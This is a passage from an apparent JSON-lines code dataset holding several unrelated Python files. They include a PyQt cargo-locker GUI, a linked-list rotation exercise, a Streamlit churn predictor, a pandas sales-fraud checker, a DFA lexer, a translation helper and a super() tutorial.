confirmbutton.clicked.connect(lambda: self.Locker_CreatIdentity(Locker_LineEdit_Name.text(),\n Locker_LineEdit_Surname.text(),\n Locker_LineEdit_Phone.text(),\n Locker_LineEdit_Mail.text(),))\n\n vbox = QVBoxLayout()\n vbox.addWidget(info, alignment=QtCore.Qt.AlignCenter)\n vbox.addLayout(hbox_FromLayout)\n vbox.addWidget(confirmbutton, alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(self.B_BackMainButton(), alignment=QtCore.Qt.AlignCenter)\n\n self.groupBox_Locker_NewIdentity.setLayout(vbox)\n\n return self.groupBox_Locker_NewIdentity\n\n def Locker_CreatIdentity(self, name, surname, phone, mail):\n name = name.translate(self.Tr2Eng)\n surname = surname.translate(self.Tr2Eng)\n mail = mail.translate(self.Tr2Eng)\n result = CreateRow.CreateRow().checkIdenties(name, surname, str(phone), mail)\n print(\"checking Identity\", result)\n\n if result is True:\n self.info_dialog.setText(\"Girdiğiniz telefon numarasına kayıtlı\\n\"\n \"kullanıcı mevcuttur. SafetyBox ID'niz\\n\"\n \"SMS ve Mail olarak tarafınıza iletilmiştir.\")\n self.button.setText(\"Tamam\")\n self.info_dialog.setHidden(False)\n\n else:\n self.Open_Locker_FindIdentity()\n person_code = self.database.getIdentity_withPhone(str(phone))\n self.Locker_GetIdentity(person_code[0][5])\n\n\n def B_receivingFunction(self): # receiving button function\n self.tab.addTab(self.tab2, \"Kargo Alma Aşaması\")\n self.tab.setCurrentWidget(self.tab2)\n self.settingButton.setVisible(False)\n\n def B_deliveringFunction(self): # delivering button function\n self.tab.addTab(self.tab3, \"Kargo Verme Aşaması\")\n self.tab.setCurrentWidget(self.tab3) # pass tab-5 when clicked button\n self.settingButton.setVisible(False)\n\n def B_LockerFunction(self):\n self.groupBox_Locker_ChoosingMenu.setVisible(True)\n self.groupBox_Locker_NewIdentity.setVisible(False)\n self.groupBox_Locker_FindItentity.setVisible(False)\n\n self.tab.addTab(self.tab4, \"Kargo Verme Aşaması\")\n self.tab.setCurrentWidget(self.tab4) # pass tab-6 when clicked button\n self.settingButton.setVisible(False)\n\n def B_BackMainButton(self):\n\n self.BackButton = QPushButton(\"Ana Menüye Dönmek için Tıklayınız\", objectName=\"BackMainButton\")\n self.BackButton.setIcon(QIcon(\"/home/pi/Desktop/SafetyBox/icons/Home.png\"))\n self.BackButton.setIconSize(QtCore.QSize(30, 30))\n\n self.BackButton.clicked.connect(self.BackMainFunction)\n\n self.settingButton.setVisible(True)\n\n return self.BackButton\n\n def W_DatabaseWindow(self): # calling database window class\n self.w_DB = Database_Window.Window_DB(\"İlçeler\")\n self.w_DB.show()\n\n def W_Database_CreateRow(self): # calling database CreateRow window class\n self.cr_W = CreateRow.CreateRow()\n self.cr_W.show()\n\n @pyqtSlot(QImage)\n def setImage(self, image): # set camera image for thread class\n self.CameraLabel_R.setPixmap(QPixmap.fromImage(image))\n self.CameraLabel_D.setPixmap(QPixmap.fromImage(image))\n\n def cllback(self, barcodeData): # take back barcode value from thread class\n self.barcodeData = barcodeData\n values = self.Finder.QRCodeFinder(barcodeData)\n print(\"Values: \", values)\n # print(cargo_type)\n if values is None:\n print(\"QR CODE KİŞİSİ BULUNAMADI\")\n self.info_dialog.setText(\"QR Kod sistemde kayıtlı değildir.\\n\"\n \"PNR ile teslim alamayı deneyin veya \\n\"\n \"bizimle iletişime geçin.\")\n self.button.setText(\"Tekrar Dene\")\n self.info_dialog.setHidden(False)\n elif values[0] == \"receiver\":\n tracking_no = self.database.getTrackingNo_withQRCode(barcodeData) # taking tracking no with PNR\n self.infoWin.showInfoWindow(values[0], values[1], tracking_no)\n return\n\n elif values[0] == \"Locker\":\n pnr_no = self.database.getLockerPNRNo_withQRCode(barcodeData) # taking tracking no with PNR\n self.infoWin.showInfoWindow(values[0], values[1], pnr_no)\n return\n\n def cllback_TakePicture(self, receiver_ID, current_time):\n self.th.takePicture(receiver_ID, current_time)\n\n def PNRFinder(self):\n if self.PNRTextEditor.text() != \"\":\n currernttext = self.PNRTextEditor.text()\n values = self.Finder.PNRFinder(currernttext)\n if values is None:\n\n self.info_dialog.setText(\"PNR Numarası sistemde kayıtlı değildir.\\n\"\n \"QR Kod ile teslim alamayı deneyin veya \\n\"\n \"bizimle iletişime geçin.\")\n self.button.setText(\"Tekrar Dene\")\n self.info_dialog.setHidden(False)\n else:\n tracking_no = self.database.getTrackingNo_withPNRNo(currernttext) # taking tracking no with PNR\n self.infoWin.showInfoWindow(values[0], values[1], tracking_no) # showing info window\n\n\n else:\n QMessageBox.information(self, \"Bilgilendirme\", \"PNR Numarası Girmediniz\\n\"\n \"Lütfen PNR Numarası Girip Tekrar Deneyiniz\")\n\n def TrackingFinder(self):\n if self.TrackTextEditor.text() != \"\":\n currernttext = self.TrackTextEditor.text()\n values = self.Finder.TrackFinder(currernttext)\n if values is None:\n self.info_dialog.setText(\"Takip Numarası sistemde kayıtlı değildir.\\n\"\n \"Barkod ile teslim etmeyi deneyin veya \\n\"\n \"bizimle iletişime geçin.\")\n self.button.setText(\"Tekrar Dene\")\n self.info_dialog.setHidden(False)\n else:\n self.infoWin.showInfoWindow(values[0], values[1], None)\n Mail.SendMail(\"Delivering_Cargo\", values[2]) # Gelen 3.değeri mail dosyasına yolluyor.\n\n else:\n QMessageBox.information(self, \"Bilgilendirme\", \"Takip Numarası Girmediniz\\n\"\n \"Lütfen Takip Numarası Girip Tekrar Deneyiniz\")\n\n def Database_Update(self): # Database value uptade\n self.tab.addTab(self.tab6, \"DB Güncelleme\")\n self.tab.setCurrentWidget(self.tab6)\n\n def BackMainFunction(self):\n self.settingButton.setVisible(True)\n currenttab = self.tab.indexOf(self.tab.currentWidget())\n self.tab.setCurrentWidget(self.tab1)\n\n if self.tab.currentWidget() == self.tab1:\n self.tab.removeTab(currenttab)\n\n def tabs(self): # tabs function\n\n mainLayout = QVBoxLayout() # tab's Main Layout\n\n self.tab = QTabWidget() # create Tab\n\n self.tab1 = QWidget() # create tab-1 (step-1) main tab\n self.tab2 = QWidget() # create tab-2 (step-2) receiver tab\n self.tab3 = QWidget() # create tab-3 (step-3) delivery tab\n self.tab4 = QWidget() # create tab-4 (step-4) luggage locker\n self.tab5 = QWidget() # create tab-5 (step-5) update tab\n self.tab6 = QWidget() # create tab-6 (step-6) settings tab\n\n tab1_vbox = QVBoxLayout() # tab-1's main layout\n tab1_hbox = QHBoxLayout() # tab-1's layout\n tab2_vbox = QVBoxLayout() # tab-2's layout\n tab3_vbox = QVBoxLayout() # tab-3's layout\n tab4_hbox = QHBoxLayout() # tab-4's layout\n tab5_vbox = QVBoxLayout() # tab-5's layout\n tab6_vbox = QVBoxLayout() # tab-6's layout\n\n # Main TAB Settings Button\n self.settingButton = QPushButton(objectName=\"SettingsButton\")\n self.settingButton.clicked.connect(self.OpenSettingWindow)\n # self.settingButton.setIcon(QIcon(\"icons/setting.png\"))\n # self.settingButton.setIconSize(QSize(64,64))\n # self.settingButton.setFixedWidth(60)\n # self.settingButton.setFixedHeight(60)\n\n # TAB-5 Widgets\n self.databaseAddRow = QPushButton(\"Add Row\", objectName=\"GeneralButton\")\n self.databaseAddRow.clicked.connect(self.W_Database_CreateRow)\n self.databaseButton = QPushButton(\"DB Table\", objectName=\"GeneralButton\")\n self.databaseButton.clicked.connect(self.W_DatabaseWindow)\n self.databaseUpdateRow = QPushButton(\"Update Row\", objectName=\"GeneralButton\")\n self.databaseUpdateRow.clicked.connect(self.Database_Update)\n\n # TAB-5 Widgets END\n\n # TAB-6 Widgets\n self.U_TextLabel = QLabel(\"\")\n\n self.U_Column = QComboBox(self)\n self.U_Column.addItems([\"Değiştirmek istediğiniz sütunu seçiniz.\", \"isim\", \"soyisim\", \"mail\"])\n\n self.U_Tel_Num = QLineEdit()\n self.U_Tel_Num.setPlaceholderText(\"Verisi değiştirilmek istenin kişinin telefon numarasını giriniz.\")\n\n self.U_N_Value = QLineEdit()\n self.U_N_Value.setPlaceholderText(\"Yeni veriyi giriniz.\")\n\n self.U_Button = QPushButton(\"Kaydet\", objectName=\"GeneralButton\")\n self.U_Button.clicked.connect(self.Database_Update)\n # TAB-6 Widgets END\n\n # widgets are placed\n tab1_hbox.addWidget(self.GB_cargoReceive())\n tab1_hbox.addWidget(self.GB_cargoDelivery())\n tab1_vbox.addLayout(tab1_hbox, 70)\n tab1_vbox.addWidget(self.GB_LockerSystem(), 30)\n\n tab2_vbox.addWidget(self.GB_cargoPNR())\n\n tab3_vbox.addWidget(self.GB_cargoTrack())\n\n tab4_hbox.addWidget(self.GB_Locker_ChoosingMenu())\n tab4_hbox.addWidget(self.GB_Locker_NewIdentity())\n tab4_hbox.addWidget(self.GB_Locker_FindIdentity())\n\n tab5_vbox.addWidget(self.databaseAddRow)\n tab5_vbox.addWidget(self.databaseUpdateRow)\n tab5_vbox.addWidget(self.databaseButton)\n tab5_vbox.addWidget(self.B_BackMainButton(), alignment=QtCore.Qt.AlignCenter)\n\n tab6_vbox.addStretch()\n tab6_vbox.addWidget(self.U_TextLabel)\n tab6_vbox.addWidget(self.U_Column)\n tab6_vbox.addWidget(self.U_N_Value)\n tab6_vbox.addWidget(self.U_Tel_Num)\n tab6_vbox.addWidget(self.U_Button)\n tab6_vbox.addWidget(self.B_BackMainButton(), alignment=QtCore.Qt.AlignCenter)\n tab6_vbox.addStretch()\n\n # tab's layout setted\n self.tab1.setLayout(tab1_vbox)\n self.tab2.setLayout(tab2_vbox)\n self.tab3.setLayout(tab3_vbox)\n self.tab4.setLayout(tab4_hbox)\n self.tab5.setLayout(tab5_vbox)\n self.tab6.setLayout(tab6_vbox)\n\n self.tab.addTab(self.tab1, \"Ana Sayfa\")\n # TABS WILL OPEN WHEN YOU CLICK BUTTON\n # self.tab.addTab(self.tab2, \"Kargo Alma Aşaması\")\n # self.tab.addTab(self.tab3, \"Kargo Verme Aşaması\")\n # self.tab.addTab(self.tab4, \"DataBase İşlemleri\")\n # self.tab.addTab(self.tab5, \"DB Güncelleme\")\n\n mainLayout.addWidget(self.settingButton, alignment=QtCore.Qt.AlignRight)\n mainLayout.addWidget(self.tab)\n self.tab2.setStyleSheet(\"QTabBar::tab::disabled {width: 0; height: 0; margin: 0; padding: 0; border: none;} \")\n\n self.setLayout(mainLayout)\n\n\nclass Thread(QThread):\n changePixmap = pyqtSignal(QImage)\n mem_barcodeData = \"\"\n\n def setCllback(self, cllbck):\n print(\"thread setcllback func girildi\")\n self.cllbck = cllbck\n\n def run(self):\n counter = 0\n self.cap = cv2.VideoCapture(0)\n\n self.threadactive = True\n\n while True:\n ret, self.frame = self.cap.read()\n if self.cap.read() is None:\n break\n barcodes = pyzbar.decode(self.frame)\n found = set()\n\n for barcode in barcodes:\n counter = counter + 1\n # extract the bounding box location of the barcode and draw\n # the bounding box surrounding the barcode on the image\n (x, y, w, h) = barcode.rect\n cv2.rectangle(self.frame, (x, y), (x + w, y + h), (0, 0, 255), 2)\n # the barcode data is a bytes object so if we want to draw it\n # on our output image we need to convert it to a string first\n barcodeData = barcode.data.decode(\"utf-8\")\n barcodeType = barcode.type\n # draw the barcode data and barcode type on the image\n text = \"{} ({})\".format(barcodeData, barcodeType)\n cv2.putText(self.frame, text, (x, y - 10),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n # if the barcode text is currently not in our CSV file, write\n # the timestamp + barcode q to disk and update the set\n if barcodeData not in found:\n if counter % 10 == 0:\n if barcodeData != self.mem_barcodeData:\n print(counter, barcodeData)\n\n self.mem_barcodeData = barcodeData\n self.cllbck(barcodeData)\n\n if ret \\\n :\n # https://stackoverflow.com/a/55468544/6622587\n rgbImage = cv2.cvtColor(self.frame, cv2.COLOR_BGR2RGB)\n h, w, ch = rgbImage.shape\n bytesPerLine = ch * w\n convertToQtFormat = QImage(rgbImage.data, w, h, bytesPerLine, QImage.Format_RGB888)\n p = convertToQtFormat.scaled(320, 240, Qt.KeepAspectRatio)\n self.changePixmap.emit(p)\n\n def takePicture(self, receiver_ID, saving_name):\n cv2.imwrite(\"/home/pi/Desktop/receiver_Person/\" + str(receiver_ID) + \"/\" + str(saving_name) + \".jpg\",\n self.frame)\n\n\napp = QApplication([])\napp.setStyleSheet(StyleSheet)\nmainwindow = Window()\nmainwindow.show()\napp.exec_()\n\n# if __name__ == \"__main__\":\n# import sys\n#\n# app = QtWidgets.QApplication(sys.argv)\n# app.setStyle('Fusion')\n# palette = QPalette()\n# palette.setColor(QPalette.Window, QColor(53, 53, 53))\n# palette.setColor(QPalette.WindowText, QtCore.Qt.white)\n# palette.setColor(QPalette.Base, QColor(15, 15, 15))\n# palette.setColor(QPalette.AlternateBase, QColor(53, 53, 53))\n# palette.setColor(QPalette.ToolTipBase, QtCore.Qt.white)\n# palette.setColor(QPalette.ToolTipText, QtCore.Qt.white)\n# palette.setColor(QPalette.Text, QtCore.Qt.white)\n# palette.setColor(QPalette.Button, QColor(53, 53, 53))\n# palette.setColor(QPalette.ButtonText, QtCore.Qt.white)\n# palette.setColor(QPalette.BrightText, QtCore.Qt.red)\n#\n# palette.setColor(QPalette.Highlight, QColor(142, 45, 197).lighter())\n# palette.setColor(QPalette.HighlightedText, QtCore.Qt.black)\n# app.setPalette(palette)\n# app.setStyleSheet(StyleSheet)\n# MainWindow = Window()\n# MainWindow.show()\n# sys.exit(app.exec_())\n","repo_name":"kuzeycaliskan/SafetyBox","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":36164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74843341849","text":"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\ndef takeinputLL():\n print('enter the entire list')\n string = [int(x) for x in input().split()]\n\n head = None\n temp = None\n\n for curr in string:\n if curr == -1:\n break\n \n newnode = Node(curr)\n if head is None:\n head = newnode\n temp = head\n else:\n temp.next = newnode\n temp = temp.next\n\n return head\n\ndef first_last(head):\n temp = head\n prev = None\n while temp.next is not None:\n prev = temp\n temp = temp.next\n\n return prev, temp\n\ndef rotateLL(head, k):\n if head is None or head.next is None:\n return head\n\n temp = head\n length = 0\n while temp is not None:\n length += 1\n temp = temp.next\n\n k = k%length\n while k != 0:\n sec_last, last = first_last(head)\n sec_last.next = last.next\n last.next = head\n head = last\n k -= 1\n return head\n\n\n\n\n\ndef printLL(head):\n while head is not None:\n print(head.data, end='->')\n head = head.next\n print('None')\n\n\nhead = takeinputLL()\nnew_head = rotateLL(head, 2000)\nprintLL(new_head)","repo_name":"Jaidev810/Competitive-Questions","sub_path":"LeetCode/RotateLL.py","file_name":"RotateLL.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36233407676","text":"from sklearn.preprocessing import StandardScaler , LabelEncoder\nimport streamlit as st\nimport pandas as pd\n\n# Load the model here\nimport joblib\nmodel = joblib.load(r\"Model/model.sav\")\n# model = load_model()\n\n# sample dataframe created with required columns to fit in standard scalar...\ndf_sample = pd.DataFrame(columns=['Age', 'Gender', 'Location', 'Subscription_Length_Months', 'Monthly_Bill', 'Total_Usage_GB']) #Sample dataframe \n\ndf_sample.loc[0] = [63, 'Male', 'Los Angeles', 17, 73.36, 236] # sample column to fit for StandardScalar....\n\ngender_mapping = {'Male': 1, 'Female': 0}\nlocation_mapping = {'Los Angeles': 0, 'Chicago': 1, 'Miami': 2, 'New York': 3, 'Houston': 4}\n\ndf_sample['Gender'] = df_sample['Gender'].map(gender_mapping)\ndf_sample['Location'] = df_sample['Location'].map(location_mapping)\n\n\ndef main():\n \n\n st.markdown(\"

    \", unsafe_allow_html=True)\n\n add_selectbox = st.sidebar.selectbox(\n \"How would you like to predict?\", (\"Online\", \"Batch\"))\n st.sidebar.info('This app is created to predict Customer Churn')\n\n if add_selectbox == \"Online\":\n st.info(\"Input data below\")\n\n # Create a StandardScaler for feature scaling\n sc = StandardScaler()\n\n st.title('Customer Churn Prediction Model')\n\n # User input section\n st.subheader(\"Demographic data\")\n\n\n # User input section\n Gender = st.selectbox('Gender:', ('Male', 'Female'))\n Age = st.number_input('The age of the customer', min_value=0, max_value=100, value=0)\n Location = st.selectbox('Location:', ('Los Angeles', 'Chicago', 'Miami', 'New York', 'Houston'))\n \n df_sample['Gender'] = df_sample['Gender'].map(gender_mapping)\n\n# Apply location mapping to the 'Location' column\n df_sample['Location'] = df_sample['Location'].map(location_mapping)\n\n # Convert Gender and Location to integers using the mapping dictionaries\n gender_numeric = gender_mapping[Gender]\n location_numeric = location_mapping[Location]\n\n st.subheader(\"Your Data Plan\")\n Subscription_Length_Months = st.slider('Number of months the customer has stayed with the company', min_value=0, max_value=72, value=0)\n Monthly_Bill = st.number_input('The amount charged to the customer monthly', min_value=0, max_value=150000, value=0)\n Total_Usage_GB = st.number_input('The total usage in GB of the customer', min_value=0, max_value=1000, value=0)\n\n\n\n # Prepare user input data as a dictionary in correct order\n user_inputs = {\n 'Age': Age,\n 'Gender': gender_numeric, \n 'Location': location_numeric, \n 'Subscription_Length_Months': Subscription_Length_Months,\n 'Monthly_Bill': Monthly_Bill,\n 'Total_Usage_GB': Total_Usage_GB\n }\n\n \n # Select the columns to be used for scaling\n selected_columns = ['Age', 'Gender', 'Location', 'Subscription_Length_Months', 'Monthly_Bill', 'Total_Usage_GB']\n\n # Fit the scaler with the selected columns of your training data\n sc.fit(df_sample[selected_columns])\n\n preprocess_df = pd.DataFrame.from_dict([user_inputs])\n \n\n if st.button('Predict'):\n prediction = model.predict(preprocess_df)\n if prediction == 1:\n st.warning('Yes, the customer will terminate the service.')\n else:\n st.success('No, the customer is happy with Telco Services.')\n\n else:\n st.subheader(\"Dataset upload\")\n uploaded_file = st.file_uploader(\"Choose a file\")\n if uploaded_file is not None:\n data = pd.read_csv(uploaded_file)\n\n st.write(data.head())\n st.markdown(\"

    \", unsafe_allow_html=True)\n\n\n\n if st.button('Predict'):\n # Use your model to predict\n prediction = model.predict(data)\n\n prediction_df = pd.DataFrame(prediction, columns=[\"Predictions\"])\n prediction_df = prediction_df.replace({1: 'Yes, the customer will terminate the service.', 0: 'No, the customer is happy with Telco Services.'})\n\n st.markdown(\"

    \", unsafe_allow_html=True)\n st.subheader('Prediction')\n st.write(prediction_df)\n\nif __name__ == '__main__':\n main()\n","repo_name":"V4R4D/Churn_Prediction","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12013535289","text":"from datetime import datetime, date\n\nimport pandas as pd\nimport xlrd\nfrom pyspark.sql import SparkSession\n\nfrom run_date import RunDate\nfrom send_email import send_email\n\nINPUT_COLS = ['_0', 'order_code', '_1', 'tran_at', 'employee', 'table', 'customer_number', '_2', '_3', 'discount', 'amount', '_4', 'debit']\nDISPOSE_MAPPING = {\n 'Người tạo': 'employee',\n 'Tên Phòng / Bàn': 'table',\n 'Ngày tạo': 'tran_at',\n 'Lý do': 'reason',\n 'Tên hàng hóa': 'product',\n 'Số lượng': 'quantity',\n 'Giá bán': 'prices',\n 'Thao tác sau tạm tính?': 'new_amount',\n}\n\n\ndef clean(row: str):\n row = str(row)\n if len(row) > 16:\n return row\n return None\n\n\ndef convert_time(row):\n return datetime(*xlrd.xldate_as_tuple(row, 0))\n\n\ndef detect_order_fraud(df: pd.DataFrame) -> pd.DataFrame:\n thungan_list = ['thungan', 'Admin']\n select_cols = ['order_code', 'tran_at', 'employee', 'discount', 'amount']\n return df[~df['employee'].isin(thungan_list)][select_cols]\n\n\ndef detect_dispose_fraud(df: pd.DataFrame) -> pd.DataFrame:\n def detect(employee: str, product: str):\n cashier = 'cashier'\n admin = 'admin'\n if (employee != product) or (cashier not in employee) or (admin not in employee.lower()):\n return True\n return False\n select_cols = ['tran_at', 'employee', 'product', 'reason']\n print(df)\n df['is_fraud'] = df.apply(lambda x: detect(x['employee'], x['product']), axis=1)\n return df[df.is_fraud == True][select_cols]\n\n\ndef detect_fraud(spark: SparkSession):\n run_date = RunDate(date.today())\n print('detection fraud')\n raw_sale_order = pd.read_excel(f'sale_order/{run_date}.xlsx', names=INPUT_COLS)\n raw_sale_order['tran_at'] = raw_sale_order['tran_at'].apply(clean)\n cleaned_sale_order = raw_sale_order[(raw_sale_order.tran_at > '0') & (raw_sale_order.employee > '0')].astype({'employee': 'str'})\n\n raw_dispose = pd.read_excel(f'dispose/{run_date}.xlsx').rename(columns=DISPOSE_MAPPING).astype({'employee': 'str'})\n existing_fraud_dispose = spark.createDataFrame(pd.read_excel('report/existing_fraud_dispose.xlsx'))\n existing_fraud_sale_order = spark.createDataFrame(pd.read_excel('report/existing_fraud_sale_order.xlsx'))\n fraud_dispose = detect_dispose_fraud(raw_dispose)\n fraud_dispose['tran_at'] = fraud_dispose['tran_at'].apply(convert_time)\n fraud_dispose = spark.createDataFrame(fraud_dispose)\n fraud_sale_order = spark.createDataFrame(detect_order_fraud(cleaned_sale_order))\n\n new_fraud_dispose = fraud_dispose.subtract(existing_fraud_dispose).toPandas()\n\n new_fraud_sale_order = fraud_sale_order.subtract(existing_fraud_sale_order).toPandas()\n\n print(new_fraud_dispose)\n print(new_fraud_sale_order)\n if len(new_fraud_dispose) > 0 or len(new_fraud_sale_order) > 0:\n send_email(\n new_fraud_dispose,\n new_fraud_sale_order\n )\n fraud_dispose.toPandas().to_excel('existing_fraud_dispose.xlsx', index=False)\n fraud_sale_order.toPandas().to_excel('existing_fraud_sale_order.xlsx', index=False)\n else:\n print(\"don't have any fraud data\")\n\n\nif __name__ == '__main__':\n _spark = SparkSession.builder.getOrCreate()\n detect_fraud(_spark)\n","repo_name":"namnguyenxuan181/fee","sub_path":"crawl_data/pos365/detection.py","file_name":"detection.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10157354504","text":"import re\n\n\nclass DFA:\n def __init__(self, states, transitions, initial, final_function_by_final_state, final_states_with_lookahead,\n valid_character_pattern, ignore_validate_states):\n self.states = states\n self.transitions = transitions\n self.initial = initial\n self.final_function_by_final_state = final_function_by_final_state\n self.final_states_with_lookahead = final_states_with_lookahead\n self.valid_character_pattern = valid_character_pattern\n self.ignore_validate_states = ignore_validate_states\n\n def validate_character(self, char, forward, state):\n if not re.match(self.valid_character_pattern, char) and state not in self.ignore_validate_states:\n raise BadCharacterError(char, forward)\n\n def run(self, program, lexeme_begin):\n state = self.initial\n for forward in range(lexeme_begin, len(program)):\n char = program[forward]\n self.validate_character(char, forward, state)\n available_transitions = [\n t for t in self.transitions if t.match(state, char)]\n if len(available_transitions) != 1:\n raise NoAvailableTransitionError(\n available_transitions, state, char, forward)\n state = available_transitions[0].next_state\n if state in self.final_function_by_final_state.keys():\n if state in self.final_states_with_lookahead:\n forward -= 1\n lexeme = program[lexeme_begin:forward + 1]\n return self.final_function_by_final_state[state](lexeme)\n\n\nclass Transition:\n def __init__(self, state, pattern, next_state):\n self.state = state\n self.pattern = pattern\n self.next_state = next_state\n\n def match(self, state, c):\n return re.match(self.pattern, c) and state == self.state\n\n\nclass NoAvailableTransitionError(Exception):\n def __init__(self, transitions, state, c, forward):\n self.transitions = transitions\n self.state = state\n self.c = c\n self.forward = forward\n\n def __str__(self):\n return (f'There are {len(self.transitions)} transitions '\n f'in the state \"{self.state}\" and '\n f'for the character \"{self.c}\".')\n\n\nclass BadCharacterError(Exception):\n def __init__(self, c, forward):\n self.c = c\n self.forward = forward\n\n def __str__(self):\n return f'The character \"{self.c}\" is not valid.'\n","repo_name":"Parsa2820/cd-project","sub_path":"src/scanner/dfa.py","file_name":"dfa.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33456157529","text":"import os\nimport openai\n\nfrom django.conf import settings\n\n\nclass GPTTextOptimizer:\n def __init__(self, source_text):\n openai.api_key = settings.OPENAI_KEY\n self.optimization = source_text\n self.rules = \"\"\"\n Follow these 3 rules when rewriting the sentence:\n 1) Keep all the information.\n 2) Only return the text, never any comments.\n 3) If it's not possible to rewrite the sentence, just return the same sentence\n \"\"\"\n \n def simplify_sentence(self, instruction, sentence, model=settings.CHATGPT_MODEL, temp=0.0):\n messages = [{\"role\": \"system\", \"content\": instruction + self.rules},\n {\"role\": \"user\", \"content\": sentence}]\n response = openai.ChatCompletion.create(\n model=model,\n messages=messages,\n max_tokens=500,\n temperature=temp\n )\n\n self.changes += 1\n return response['choices'][0]['message']['content'].strip()\n\ndef standard_translation(text):\n from google.cloud import translate\n os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = os.path.join(settings.BASE_DIR, 'keys/google_standard.json')\n client = translate.TranslationServiceClient()\n try:\n response = client.translate_text(\n parent='projects/basictranslatino/locations/global',\n contents=[text],\n mime_type='text/plain',\n source_language_code=settings.SOURCE_LANGUAGE,\n target_language_code=settings.TARGET_LANGUAGE)\n return response.translations[0].translated_text\n except Exception as e:\n print(f'Error translating text: {e}')\n\nfrom django.contrib.auth.models import User\n\ndef get_admin_email():\n try:\n admin_user = User.objects.get(is_staff=True, is_superuser=True)\n admin_email = admin_user.email\n return admin_email\n except User.DoesNotExist:\n return None\n","repo_name":"sofritto/traduco","sub_path":"translator/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"43443707888","text":"# super() keyword\r\n# ==> used to refer parent class.\r\n# ==> usually useful when class inherits multiple parent class and user can call one method from anyone\r\n# parent class\r\n# ==> user can easily inherit constructor using super()\r\n# ==> also return the object that represent parent class\r\n# ==> helps subclass to inherit the superclass\r\n\r\nprint(\"---------SIMPLE USE OF SUPER() KEYWORD----------\")\r\n\r\n\r\nclass parent:\r\n\r\n def par(self):\r\n print(\"I am parent class method\")\r\n\r\n\r\nclass child(parent):\r\n\r\n def child(self):\r\n print(\"I am child class method\")\r\n super().par() # using super() keyword we can easily inherit parent class in child class\r\n\r\n\r\nc = child()\r\nc.child()\r\n\r\n\r\nclass parent:\r\n\r\n def __init__(self):\r\n self.name = input(\"Enter name : \")\r\n self.roll = input(\"Enter roll : \")\r\n\r\n def par(self):\r\n print(f\"Name : {self.name}\\nRoll no. : {self.roll}\")\r\n print(\"I am parent class method\")\r\n\r\n\r\nclass child(parent):\r\n\r\n def par(self):\r\n print(\"hemil soni is best\")\r\n super().par()\r\n\r\n def chi(self):\r\n print(\"I am child class method\")\r\n super().par()\r\n\r\n\r\nc = child()\r\nc.par()\r\nc.chi()\r\n\r\nprint(\"---------CONSTRUCTOR USING SUPER() KEYWORD----------\")\r\n\r\n\r\n# USER CAN EASILY USE THE CONSTRUCTOR OF PARENT CLASS USING SUPER() KEYWORD\r\n\r\nclass Employee:\r\n\r\n def __init__(self, name, id):\r\n self.name = name\r\n self.id = id\r\n print(\"I am parent class constructor\")\r\n\r\n\r\nclass Programmer(Employee):\r\n\r\n def __init__(self, name, id, job):\r\n super().__init__(name, id)\r\n self.job = job\r\n print(\"I am inheriting parent class in child class\")\r\n\r\n\r\np = Programmer(\"Hemil\", 12, \"python\")\r\nprint(p.name)\r\nprint(p.id)\r\nprint(p.job)\r\n\r\nq = Programmer(\"Mit\",16,\"bussiness developer\")\r\nprint(q.name)\r\nprint(q.id)\r\nprint(q.job)\r\n\r\nprint(\"----------MULTIPLE INHERITANCE USING SUPER() KEYWORD-----------\")\r\n\r\n\r\nclass father:\r\n def parent(self):\r\n print(\"I am the father_class\")\r\n\r\n\r\nclass mother:\r\n def mparent(self):\r\n print(\"I am the mother_class\")\r\n\r\n\r\nclass child(father,mother):\r\n def chi(self):\r\n super().parent()\r\n print(\"I am the child_class\")\r\n super().mparent()\r\n\r\nc = child()\r\nc.chi()\r\n\r\nprint(\"----------MULTILEVEL INHERITANCE USING SUPER() KEYWORD-----------\")\r\n\r\nclass grand:\r\n\r\n def gparent(self):\r\n print(\"I am grand class method 1 \")\r\n\r\nclass parent(grand):\r\n\r\n def pparent(self):\r\n print(\"I am parent class method inheriting grand\")\r\n\r\nclass child(parent):\r\n\r\n def cparent(self):\r\n super().gparent()\r\n super().pparent()\r\n print(\"I am child class method inheriting both grand and parent \")\r\n\r\nc = child()\r\nc.cparent()","repo_name":"Hemilsoni975/sigma_solve-python_practise","sub_path":"progress/27_super.py","file_name":"27_super.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31241241122","text":"#Calculate the MEDIAN, and replace any empty values with it:\nfrom operator import le\nimport pandas as pd\n\nlectura = pd.read_csv('data.csv')\n\nmediana = lectura[\"Calories\"].median()\n\n#replace missed values\nlectura[\"Calories\"].fillna(mediana, inplace=True)\n\nprint(lectura.to_string())\nprint(\"La media de calorias es \", mediana)","repo_name":"aka-leonel/python","sub_path":"replaceUsingMedian.py","file_name":"replaceUsingMedian.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32394734635","text":"import multiprocessing\nimport Queue\nimport json\nimport logging\n\nfrom twisted.internet import reactor\nfrom twisted.internet import defer\nfrom twisted.python import log\n\nfrom leap.soledad.common.document import SoledadDocument\nfrom leap.soledad.common import soledad_assert\n\nfrom leap.soledad.client.crypto import encrypt_docstr\nfrom leap.soledad.client.crypto import decrypt_doc_dict\n\n\nlogger = logging.getLogger(__name__)\n\n\n#\n# Encrypt/decrypt pools of workers\n#\n\nclass 